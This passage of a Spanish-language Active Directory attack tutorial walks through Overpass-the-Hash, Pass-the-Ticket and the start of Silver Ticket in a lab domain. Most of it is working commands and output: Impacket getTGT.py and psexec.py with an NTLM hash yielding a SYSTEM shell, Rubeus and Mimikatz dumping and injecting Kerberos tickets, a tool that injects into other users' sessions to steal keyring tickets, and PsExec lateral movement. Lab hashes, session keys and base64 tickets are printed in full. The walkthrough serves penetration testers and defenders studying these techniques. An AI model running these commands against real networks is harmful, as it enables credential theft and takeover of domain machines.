Finalmente, ha sido posible obtener la contraseña del usuario con ambas herramientas utilizando el diccionario correcto.

Overpass The Hash/Pass The Key (PTK)

En este ataque se utiliza el hash NTLM de un usuario para solicitar tickets de Kerberos, como alternativa al típico Pass The Hash sobre el protocolo NTLM. De esta forma, esta técnica podría ser especialmente útil en redes donde el protocolo NTLM se encuentra deshabilitado y solamente Kerberos se encuentra disponible.

Para llevar a cabo este ataque, se necesita el hash NTLM (o la contraseña) de un usuario. Una vez se han conseguido estas credenciales, se puede solicitar con ellas un TGT y utilizar después este para acceder a cualquier servicio del dominio en nombre del usuario.

Desde Linux

Se puede utilizar impacket para llevar a cabo este ataque desde una máquina Linux. Para ello se pueden utilizar los siguientes comandos:

root@kali:impacket-examples# python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Saving ticket in velociraptor.ccache
root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples# python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Requesting shares on labwws02.jurassic.park.....
[*] Found writable share ADMIN$
[*] Uploading file yuiQeOUk.exe
[*] Opening SVCManager on labwws02.jurassic.park.....
[*] Creating service sBGq on labwws02.jurassic.park.....
[*] Starting service sBGq.....
[!] Press help for extra shell commands
Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:Windowssystem32>whoami
nt authoritysystem

C:Windowssystem32>

Se obtiene una terminal tras solicitar y utilizar el TGT. Este ticket también se puede utilizar con otros scripts de Impacket con el parámetro -k, e incluso con otras herramientas debido a que se guarda en un fichero ccache, que es un formato utilizado en Linux para almacenar tickets.

Mientras se realizaban las pruebas, surgieron algunos errores:

  • PyAsn1Error(‘NamedTypes can cast only scalar values’,): Se resolvió actualizando Impacket a la última versión.
  • KDC can’t found the name: Se resolvió usando el nombre de host en lugar de su dirección IP, ya que esta no es reconocida por el KDC.

Desde Windows

Para llevar a cabo este ataque desde un Windows, se pueden utilizar las herramientas Rubeus y PsExec como sigue:

C:Userstriceratops>.Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2a3de7fe356ee524cc9f3d579f2e0aa7
[*] Using domain controller: Lab-WDC02.jurassic.park (10.200.220.3)
[*] Building AS-REQ (w/ preauth) for: 'jurassic.parkvelociraptor'
[*] Connecting to 10.200.220.3:88
[*] Sent 237 bytes
[*] Received 1455 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFSDCCBUSgAwIBBaEDAgEWooIEVjCCBFJhggROMIIESqADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAg
      oAMCAQKhGTAXGwZrcmJ0Z3QbDWp1cmFzc2ljLnBhcmujggQMMIIECKADAgESoQMCAQKiggP6BIID9nUy
      VTaRmuyCOYJ/Fz0Z5We4crR6qWrxpEPDZHV09VmBp0GYWwUxwGM4M2hkbFJss6i0RG1NvKUy55D2loPI
      nKXSD5kwEjJeMsVAQWvvQCNuIrVu/XY9eGhL405ryVYNELdPxOuBNXYYZoQYLo1qxcoEkH/ag4QTnG7z
      6qH1o5RWwhmqMHNWp77LGu3lBWd0lb3t7d3pfGCU7hgWRvA390dQZ+Vzrcqfs5sHzoii8ondT9LqyvYI
      4P6DwhXH1wWOVhF9Sf23wUSG5iIZvbTrHuNZvFcPmUYXF2zd0Dtx+L3ovYdWaw+7HDmu4NPspvuAlG2x
      Jj/cbGS1KuCjAtSkT9XMVu0WEFY8gIbew35l8t5H7b+8fcjTyOLFJyMIuEzTjdfzdGJ8NYsqAxG0wCtd
      w4OCuqUUHuffwD4L27PC+fVVR7D5htfy6MbWVQrVqfgGIhqdC68I5COjyknobf+ksO9EDcn8+7zDUXtE
      dbt9XZtt0VTNyZUfSyOMGW+pkpB8wA3QjzahpgrLVE/8oHGAkFQ6sf/DOr0CYinn7iC8lJ1zZj1hcDa6
      Y+RVSARW4V++03uQPwtCN6mpuhIumikFCQsOTMQky8QKcsFGHdsCqySQsAoOtdWLHpuYFnaA0VDb3M+i
      4yc5286jaF6NRRPBZJEZnSTCRNwhJCR3bgO3C5bzWKFCOFMjFy5GOCZoZdYIbKiVABG2ZFUuyMedCDQQ
      YJrLO6oFoCL5Yeu2vrviFZUSpbUVZlxSDHnASuo1PUCfnm7oF3E6aw6/Q/0/dONSQzImXC7H+t2Z7ym5
      4pIzkgIZ/p5ODWfKr/XrrBUjmPPDzGyRUz9q1NKPv0SVi8sC5wkWAe1tipU5G582PrBWuS+Nv9XLAoKL
      +LR4iWnUw3o3/96IyCiHiCGy/g1DLJehxb5/wxDxwrnpDW50kFs7bwFrbD+8qWwd8apZF/iiUyzRYJAu
      jDOTyfJtZ7Vm2mOwSm1KeUboZ3u9StIkNUbmjR/wXvwmvUCXDppO/LeMT9w5uejGNVr+QRLPL+brAkbB
      GHFoSTR0/L6k1+8vkJzAJCOA3Yir3JJd8xRdnad4Q7Pl67CjsGKrJddt6iBzoHKPabQ/SbDVIV4veMX7
      5KtcYHM8E2CvV2sV8KD1QIOSo00Ya/C/EUekjWsG3YGW7UulxDwb95mDRf6ntr7jMBC8G2jd49IuJcWR
      QTDFuys4L/NsEAqLo5RPNk6bz1SpjpWlmG95hRg5DAe1M+u8aRD6NDs3A8fH6b7fZkQ+1I/Xl5sBhfTt
      7FGbTI4mG+VlEHbJpl47KTAO+jJgYj3m0/vgcwBlO4lCMFucB3B488VEamPJU3M66hMOy6OB3TCB2qAD
      AgEAooHSBIHPfYHMMIHJoIHGMIHDMIHAoBswGaADAgEXoRIEEFg+Y8LhMIWpLiabLQKBdBihDxsNSlVS
      QVNTSUMuUEFSS6IZMBegAwIBAaEQMA4bDHZlbG9jaXJhcHRvcqMHAwUAQOEAAKURGA8yMDE5MDIyODEx
      NTc1N1qmERgPMjAxOTAyMjgyMTU3NTdapxEYDzIwMTkwMzA3MTE1NzU3WqgPGw1KVVJBU1NJQy5QQVJL
      qSIwIKADAgECoRkwFxsGa3JidGd0Gw1qdXJhc3NpYy5wYXJr

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:Userstriceratops>.PsExec.exe -accepteula labwws02.jurassic.park cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:Windowssystem32>whoami
jurassicvelociraptor

C:Windowssystem32>

En caso de que no se le especifique el parámetro /ptt al comando Rubeus asktgt, en ticket solamente es enseñado en base64. Se puede utilizar el siguiente comando de Powershell para escribir en un fichero:

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))

Esta práctica es un poco engorrosa, por lo tanto tengo la esperanza de que una versión futura Rubeus escriba el ticket directamente en un fichero.

Una vez se obtiene el fichero con el ticket, se puede utilizar el comando Rubeus ptt /ticket: para inyectarlo en la sesión actual.

Pass The Ticket (PTT)

Este tipo de ataque es similar al Pass The Key, pero en lugar de utilizar los hashes NTLM para solicitar un ticket, el propio ticket es robado para autenticarse como su propietario. La manera de recolectar estos tickets varía en Windows y Linux, por lo tanto cada una será presentada en su propia sección.

Recolección de tickets en Linux

En Linux, los tickets se almacenan en credential caches o ccaches. Existen 3 tipos principales, que indican donde se puede encontrar el ticket:

  • Ficheros, que por defecto se encuentran en el directorio /tmp, y cuyo nombre suele seguir el patrón krb5cc_%{uid}.
  • Kernel Keyrings, que son un espacio de memoria especial en el kernel de Linux específico para el almacenamiento de claves.
  • Memoria de procesos, utilizada cuando solamente un proceso necesita acceder al ticket.

Para verificar que tipo de almacenamiento se utiliza para los tickets, se debe comprobar la variable default_ccache_name del fichero /etc/krb5.conf, que por defecto puede ser leído por cualquier usuario. En caso de que no contenga dicho parámetro, su valor por defecto es FILE:/tmp/krb5cc_%{uid}.

Por lo tanto, los tickets son normalmente guardados en ficheros, que solo pueden ser leídos por el usuario propietario y, como cualquier fichero en Linux, por root. En caso de tener acceso a dichos ficheros, solo es necesario copiarlos en otra máquina para realizar un ataque Pass The Ticket.

Ejemplo de ficheros de tickets en un servidor Linux:

[root@Lab-LSV01]# ls -lah /tmp/krb5*
-rw-------. 1 root         root         1.4K Mar  5 16:25 /tmp/krb5cc_0
-rw-------. 1 trex         domain users 1.2K Mar  7 10:08 /tmp/krb5cc_1120601113_ZFxZpK
-rw-------. 1 velociraptor domain users  490 Mar  7 10:14 /tmp/krb5cc_1120601115_uDoEa0

En caso de necesitar extraer tickets de las otras 2 fuentes (keyrings and processes), el paper Kerberos Credential Thievery (GNU/Linux) de 2017, describe varias formas de recuperar dichos tickets.

Adicionalmente, el paper también contiene varios scripts para la recolección de los tickets. En el caso de los keyrings, se puede utilizar el script heracles.sh. Por otra parte, para los tickets que se encuentran dentro de los procesos , sería necesario realizar un análisis de memoria para encontrarlos.

Además, he desarrollado una herramienta llamada tickey en C para extraer los tickets de los keyrings, basada en el script heracles.sh. Se ha creado esta herramienta debido a que el programa keyctl, utilizado por heracles.sh, no se encuentra instalado por defecto en los servidores Linux, con lo que una llamada directa a la llamada del sistema keyclt puede solventar este problema.

Por otro lado, los tickets almacenados en los keyrings user o session solo pueden ser accedidos por el propietario en su sesión. Por consiguiente, cuando tickey se ejecuta como root, busca otras sesiones de usuario en la misma máquina y se inyecta en cada una de ellas para poder acceder a los tickets.

Un ejemplo de la ejecución de tickey se muestra a continuación:

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 21866 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 20752 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[X] [uid:0] Error retrieving tickets
[root@Lab-LSV01 /]# klist  /tmp/__krb_1120601113.ccache
Ticket cache: FILE:/tmp/__krb_1120601113.ccache
Default principal: trex@JURASSIC.PARK

Valid starting       Expires              Service principal
05/09/2019 15:48:36  05/10/2019 01:48:36  krbtgt/JURASSIC.PARK@JURASSIC.PARK
        renew until 05/10/2019 15:48:32

Recolección de tickets en Windows

En Windows, es el proceso lsass (Local Security Authority Subsystem Service), responsable de la seguridad, el encargado de almacenar los tickets. En consecuencia, para recolectar los tickets de un sistema Windows, es necesario establecer una comunicación con lsass y pedirlos. En caso de no ser administrador, solamente se pueden recuperar los tickets propios. Sin embargo, siendo administrador de la máquina, todos los tickets pueden ser recolectados. Para llevar a cabo este proceso, se pueden utilizar las herramientas Mimikatz o Rubeus como se muestra a continuación:

Recolección con Mimikatz:

PS C:Usersvelociraptor> .mimikatz.exe

  .#####.   mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## /  ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ##  / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com   ***/

mimikatz # sekurlsa::tickets /export

...
<-----Mimikatz Output----->
...

Authentication Id : 0 ; 42211838 (00000000:028419fe)
Session           : RemoteInteractive from 2
User Name         : trex
Domain            : JURASSIC
Logon Server      : LAB-WDC01
Logon Time        : 28/02/2019 12:14:43
SID               : S-1-5-21-1339291983-1349129144-367733775-1113

         * Username : trex
         * Domain   : JURASSIC.PARK
         * Password : (null)

        Group 0 - Ticket Granting Service
         [00000000]
           Start/End/MaxRenew: 05/03/2019 9:48:37 ; 05/03/2019 19:15:59 ; 07/03/2019 12:14:43
           Service Name (02) : LDAP ; Lab-WDC02.jurassic.park ; jurassic.park ; @ JURASSIC.PARK
           Target Name  (02) : LDAP ; Lab-WDC02.jurassic.park ; jurassic.park ; @ JURASSIC.PARK
           Client Name  (01) : trex ; @ JURASSIC.PARK ( JURASSIC.PARK )
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             bd16db915bdfb0af3d57509bdea3d92bf8f0ef9976a16ebb6510111597c6d8b6
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 4        [...]
           * Saved to file [0;28419fe]-0-0-40a50000-trex@LDAP-Lab-WDC02.jurassic.park.kirbi !

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 28/02/2019 12:14:43 ; 28/02/2019 22:14:43 ; 07/03/2019 12:14:43
           Service Name (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK
           Target Name  (--) : @ JURASSIC.PARK
           Client Name  (01) : trex ; @ JURASSIC.PARK ( $Delegation Ticket$ )
           Flags 60a00000    : pre_authent ; renewable ; forwarded ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             21666ffd3511fb2d1e127ad96e322c3a6e8be644eabba4821ba5c425b4a58842
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;28419fe]-2-0-60a00000-trex@krbtgt-JURASSIC.PARK.kirbi !
         [00000001]
           Start/End/MaxRenew: 05/03/2019 9:15:59 ; 05/03/2019 19:15:59 ; 07/03/2019 12:14:43
           Service Name (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK
           Target Name  (02) : krbtgt ; JURASSIC.PARK ; @ JURASSIC.PARK
           Client Name  (01) : trex ; @ JURASSIC.PARK ( JURASSIC.PARK )
           Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             f79644af74ade15f4178e5cea3b0ce071b601f78ef4b11c09ed971142dd3bb50
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi !

...
<-----Mimikatz Output----->
...
           
mimikatz # exit
Bye!

Recolección con Rubeus desde Powershell:

PS C:UsersAdministrator> .Rubeus dump

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.4.2



[*] Action: Dump Kerberos Ticket Data (All Users)


  UserName                 : Administrator
  Domain                   : JURASSIC
  LogonId                  : 0xdee0cb2
  UserSID                  : S-1-5-21-1339291983-1349129144-367733775-500
  AuthenticationPackage    : Kerberos
  LogonType                : RemoteInteractive
  LogonTime                : 07/03/2019 12:35:47
  LogonServer              : LAB-WDC01
  LogonServerDNSDomain     : JURASSIC.PARK
  UserPrincipalName        : Administrator@jurassic.park

...
<-----Rubeus Output----->
...

    ServiceName              : krbtgt/JURASSIC.PARK
    TargetName               : krbtgt/jurassic.park
    ClientName               : trex
    DomainName               : JURASSIC.PARK
    TargetDomainName         : JURASSIC.PARK
    AltTargetDomainName      : JURASSIC.PARK
    SessionKeyType           : aes256_cts_hmac_sha1
    Base64SessionKey         : 1gokewLDdgqAnN3a1KNR15q3GaZM3duydjLfb037KLs=
    KeyExpirationTime        : 01/01/1601 1:00:00
    TicketFlags              : pre_authent, initial, renewable, forwardable
    StartTime                : 07/03/2019 16:28:23
    EndTime                  : 08/03/2019 2:28:23
    RenewUntil               : 14/03/2019 16:28:23
    TimeSkew                 : 0
    EncodedTicketSize        : 1284
    Base64EncodedTicket      :

      doIFADCCBPygAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAgoAMCAQKhGTAXGwZrcmJ0
      Z3QbDUpVUkFTU0lDLlBBUkujggO8MIIDuKADAgESoQMCAQKiggOqBIIDpp9Nm0OTu82mrTl0Tekr8KEF3eX23qxHKcryCuzDV/Pd
      wUNpSc+1Oxa0k2WWvZwa+H9DW4I8fr0BE7oHMs6GaNFEjDJdO/l0qGUlCwyha05+9lg832SDEERgAA1wQDLjPogyBBTrP5OhGmf0
      JevqulePfTUSxXJ/gNvP6JCQGAf+zUL12dqGkqyq//TOWSQjkgAy3NZtc1Ed3XnfI9L4VUo9YdY5fVSEci7kRm6Mk11sTV7bXSzd
      4123fXLA3Usx+xJVKh5JPhvtSyDKRDNdcP2YKPoTyEuKUpsl8KhzbkEpdLPqzR+2uLHNmMzWDdsxTlytzZF9kzB9llUB2C9YLgzD
      Qkrx4/EIDH9w3u3pVVgAmZp1Y9sQhVmI9exIYVSPM/XA8vPAL1KDGyux+ojkVDAl/Kezqg6DWtLZO86Rpb7L7LRvk8jX/4Y4Yi0T
      MlsZjahwXn1N3ZulUiF7pvYzh9es9MkS/X/YqF6CiDogblLEaFniMYWNYFYMmhjfIZHgX3lyIj8UljRwdeFdt7Ezf/pmP1rl5uON
      hMlagv+prw4UcvN2u4Yeb+ybXMisMH4xonJIBr7/MKEhmbHVmKuoT+LBMjfN7iChY82rPqbKW0J+nn4yvC3zjLlOC5HNSTdMgGV5
      FSAY34RO3SCOe14jetHmq9OQ5rLO5ymWfet5jcYy+ShtrYoNTxEPodNZyFqrBDT4JZ6T9jgoYMIu+g3VcoCRN5XDUJM+tBzZ6QUu
      91D0ULl3wdvbEhh89hPAy1AHEWLtAth55/CJ0kNpWLPvLLz34OLzNg8nzCG2x9mFVP4MKvUw4JJN3LSkYRrxIg5eehSuQul43ZqQ
      hxi/+OyRoVwSfqqMeYO2QSeADaIiaFTwWaIDAu0pr1Vk+XfJGuHUWBjRocHu3dasPMhGoRlV5ehHxc58gnJ6UzkfcVDV7j1Skn7e
      os6wa6ejFOrMKNSB+cBqBcvBMCCksHsnQSd4gxUiw/7Masc9M+f9Xi3vf+f0LyiSKDdUIDOekMh/RqQhGs9UKSjp6/Q7EhMCd90J
      UDGbwBQZhTOBZApdo1VQ609kXfv654RSZ1OzSgaaK6P0GJdJGJ5NGIuNl1n0oEOZVB0FfATLH/xC9uD97VkH2mQ8jnFHHxseUle2
      qMhkG+NsLOD7c2c9pzUNEbc4EZEjwMFx4eJwEeLnpXOMOMS6ix1YMuZjof6Q8xNmq05vpNMAOScgV7d3QmMvJLNy6LB6gBKPPBqG
      4kCjgeUwgeKgAwIBAKKB2gSB132B1DCB0aCBzjCByzCByKArMCmgAwIBEqEiBCDWCiR7AsN2CoCc3drUo1HXmrcZpkzd27J2Mt9v
      Tfsou6EPGw1KVVJBU1NJQy5QQVJLohEwD6ADAgEBoQgwBhsEdHJleKMHAwUAQOAAAKURGA8yMDE5MDMwNzE1MjgyM1qmERgPMjAx
      OTAzMDgwMTI4MjNapxEYDzIwMTkwMzE0MTUyODIzWqgPGw1KVVJBU1NJQy5QQVJLqSIwIKADAgECoRkwFxsGa3JidGd0Gw1KVVJB
      U1NJQy5QQVJL


...
<-----Rubeus Output----->
...

[*] Enumerated 23 total tickets
[*] Extracted  23 total tickets

PS C:UsersAdministrator> [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("doIFADCCBPygAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQ8bDUpVUkFTU0lDLlBBUkuiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDUpVUkFTU0lDLlBBUkujggO8MIIDuKADAgESoQMCAQKiggOqBIIDpp9Nm0OTu82mrTl0Tekr8KEF3eX23qxHKcryCuzDV/PdwUNpSc+1Oxa0k2WWvZwa+H9DW4I8fr0BE7oHMs6GaNFEjDJdO/l0qGUlCwyha05+9lg832SDEERgAA1wQDLjPogyBBTrP5OhGmf0JevqulePfTUSxXJ/gNvP6JCQGAf+zUL12dqGkqyq//TOWSQjkgAy3NZtc1Ed3XnfI9L4VUo9YdY5fVSEci7kRm6Mk11sTV7bXSzd4123fXLA3Usx+xJVKh5JPhvtSyDKRDNdcP2YKPoTyEuKUpsl8KhzbkEpdLPqzR+2uLHNmMzWDdsxTlytzZF9kzB9llUB2C9YLgzDQkrx4/EIDH9w3u3pVVgAmZp1Y9sQhVmI9exIYVSPM/XA8vPAL1KDGyux+ojkVDAl/Kezqg6DWtLZO86Rpb7L7LRvk8jX/4Y4Yi0TMlsZjahwXn1N3ZulUiF7pvYzh9es9MkS/X/YqF6CiDogblLEaFniMYWNYFYMmhjfIZHgX3lyIj8UljRwdeFdt7Ezf/pmP1rl5uONhMlagv+prw4UcvN2u4Yeb+ybXMisMH4xonJIBr7/MKEhmbHVmKuoT+LBMjfN7iChY82rPqbKW0J+nn4yvC3zjLlOC5HNSTdMgGV5FSAY34RO3SCOe14jetHmq9OQ5rLO5ymWfet5jcYy+ShtrYoNTxEPodNZyFqrBDT4JZ6T9jgoYMIu+g3VcoCRN5XDUJM+tBzZ6QUu91D0ULl3wdvbEhh89hPAy1AHEWLtAth55/CJ0kNpWLPvLLz34OLzNg8nzCG2x9mFVP4MKvUw4JJN3LSkYRrxIg5eehSuQul43ZqQhxi/+OyRoVwSfqqMeYO2QSeADaIiaFTwWaIDAu0pr1Vk+XfJGuHUWBjRocHu3dasPMhGoRlV5ehHxc58gnJ6UzkfcVDV7j1Skn7eos6wa6ejFOrMKNSB+cBqBcvBMCCksHsnQSd4gxUiw/7Masc9M+f9Xi3vf+f0LyiSKDdUIDOekMh/RqQhGs9UKSjp6/Q7EhMCd90JUDGbwBQZhTOBZApdo1VQ609kXfv654RSZ1OzSgaaK6P0GJdJGJ5NGIuNl1n0oEOZVB0FfATLH/xC9uD97VkH2mQ8jnFHHxseUle2qMhkG+NsLOD7c2c9pzUNEbc4EZEjwMFx4eJwEeLnpXOMOMS6ix1YMuZjof6Q8xNmq05vpNMAOScgV7d3QmMvJLNy6LB6gBKPPBqG4kCjgeUwgeKgAwIBAKKB2gSB132B1DCB0aCBzjCByzCByKArMCmgAwIBEqEiBCDWCiR7AsN2CoCc3drUo1HXmrcZpkzd27J2Mt9vTfsou6EPGw1KVVJBU1NJQy5QQVJLohEwD6ADAgEBoQgwBhsEdHJleKMHAwUAQOAAAKURGA8yMDE5MDMwNzE1MjgyM1qmERgPMjAxOTAzMDgwMTI4MjNapxEYDzIwMTkwMzE0MTUyODIzWqgPGw1KVVJBU1NJQy5QQVJLqSIwIKADAgECoRkwFxsGa3JidGd0Gw1KVVJBU1NJQy5QQVJL"))

Y finalmente, tras ejecutar cualquiera de estas herramientas, se pueden utilizar los tickets extraidos, excepto aquellos que se encuentren expirados.

Convirtiendo tickets entre Windows y Linux

Antes de comenzar a usar los tickets, es importante tenerlos en el formato adecuado, ya que Windows y Linux no los guardan de la misma forma. Para convertirlos entre ccache (formato de Linux) y kirbi (formato de Windows utilizado por Mimikatz y Rubeus) se pueden utilizar las siguientes herramientas:

  • El script ticket_converter. Solamente necesita como parámetros el ticket actual y el fichero de salida. Este script detecta automáticamente el formato y lo transforma:
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
  • Kekeo, para convertirlos desde Windows. No se ha testeado esta herramienta ya que requiere una licencia comercial para su librería de ASN1, pero merece la pena mencionarla.

Desde Linux

Para realizar el ataque utilizando el script psexec.py de Impacket, se necesita hacer lo siguiente:

root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK 
root@kali:impacket-examples# python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Requesting shares on labwws02.jurassic.park.....
[*] Found writable share ADMIN$
[*] Uploading file SptvdLDZ.exe
[*] Opening SVCManager on labwws02.jurassic.park.....
[*] Creating service zkNG on labwws02.jurassic.park.....
[*] Starting service zkNG.....
[!] Press help for extra shell commands
Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:Windowssystem32>whoami
nt authoritysystem

C:Windowssystem32>

Del mismo modo que con Pass The Key, para utilizar un ticket con cualquier herramienta de Impacket, especifica la ruta del ticket en la variable de entorno KRB5CCNAME y los parámetros -no-pass -k.

Por otra parte, mientras se llevaban a cabo las pruebas de esta técnica, Impacket devolvía continuamente el error [-] SMB SessionError: STATUS_ACCESS_DENIED…, incluso cuando el usuario tenía los privilegios necesarios. Esto se debe a que usó un ticket sin la flag A (pre-autenticado), ya que el propietario no necesitaba autenticación para solicitar el ticket. Para comprobar las flags de los tickets en Linux se puede utilizar el comando klist -f , que es parte del paquete krb5. Se muestra un ejemplo a continuación:

root@kali:impacket-examples# klist -f -c krb5cc_1120601113_ZFxZpK
Ticket cache: FILE:krb5cc_1120601113_ZFxZpK
Default principal: velociraptor@JURASSIC.PARK

Valid starting     Expires            Service principal
03/07/19 11:08:45  03/07/19 21:08:45  krbtgt/JURASSIC.PARK@JURASSIC.PARK
	renew until 03/08/19 11:08:41, Flags: RIA

Desde Windows

En una máquina Windows se pueden inyectar los tickets con Mimikatz o Rubeus (no hace falta ningún privilegio). Una vez hecho esto, se puede utilizar herramientas como PsExec para ejecutar comandos en una máquina remota como el propietario del ticket. Debajo se muestra ejemplos del uso de estas herramientas:

Ejemplo con Mimikatz:

PS C:Usersvelociraptor> .mimikatz.exe

  .#####.   mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## /  ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ##  / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com   ***/

mimikatz # kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi

* File: '[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi': OK

mimikatz # exit
Bye!
PS C:Usersvelociraptor> klist

Current LogonId is 0:0x34f9571

Cached Tickets: (1)

#0>     Client: trex @ JURASSIC.PARK
        Server: krbtgt/JURASSIC.PARK @ JURASSIC.PARK
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 3/5/2019 9:15:59 (local)
        End Time:   3/5/2019 19:15:59 (local)
        Renew Time: 3/7/2019 12:14:43 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96

PS C:Usersvelociraptor> .PsExec.exe -accepteula lab-wdc01.jurassic.park cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:Windowssystem32>whoami
jurassictrex

C:Windowssystem32>

Ejemplo con Rubeus:

C:Usersvelociraptor>.Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

C:Usersvelociraptor>klist

Current LogonId is 0:0x34f958e

Cached Tickets: (1)

#0>     Client: trex @ JURASSIC.PARK
        Server: krbtgt/JURASSIC.PARK @ JURASSIC.PARK
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 3/5/2019 9:15:59 (local)
        End Time:   3/5/2019 19:15:59 (local)
        Renew Time: 3/7/2019 12:14:43 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96


C:Usersvelociraptor>.PsExec.exe -accepteula lab-wdc01.jurassic.park cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:Windowssystem32>whoami
jurassictrex

C:Windowssystem32>

Tras inyectar el ticket de un usuario, es posible suplantarlo en máquinas remotas, pero no en la local, donde no se aplica Kerberos. Se debe recordar que los TGT’s son más útiles que los TGS’s, ya que no están restringidos únicamente a un servicio.

Silver ticket

En ataque del Silver ticket se base en construir un TGS válido para un servicio, una vez se ha obtenido el hash NTLM del propietario del susodicho servicio. De esta manera, es posible acceder a este servicio con un TGS personalizado que contenga los más elevados privilegios.

En este caso, se posee el hash NTLM de una cuenta de ordenador (que es un tipo de cuenta de usuario en AD). Por consecuente, es posible forjar un TGS que conceda privilegios de administrador a través del servicio de SMB.

Se debe tener en cuenta que es posible forjar tickets utilizando las claves AES de un usuario (AES128 y AES256), las cuales se calculan a partir de la contraseña del mismo, aunque a diferencia del hash NTLM, se encuentran salteadas con el dominio y el nombre de usuario. Se pueden utilizar Impacket y Mimikatz para construir tickets con estas claves. Para saber más sobre como se calculan estas claves, se recomienda leer la sección 4.4 de MS-KILE o el script Get-KerberosAESKey.ps1.

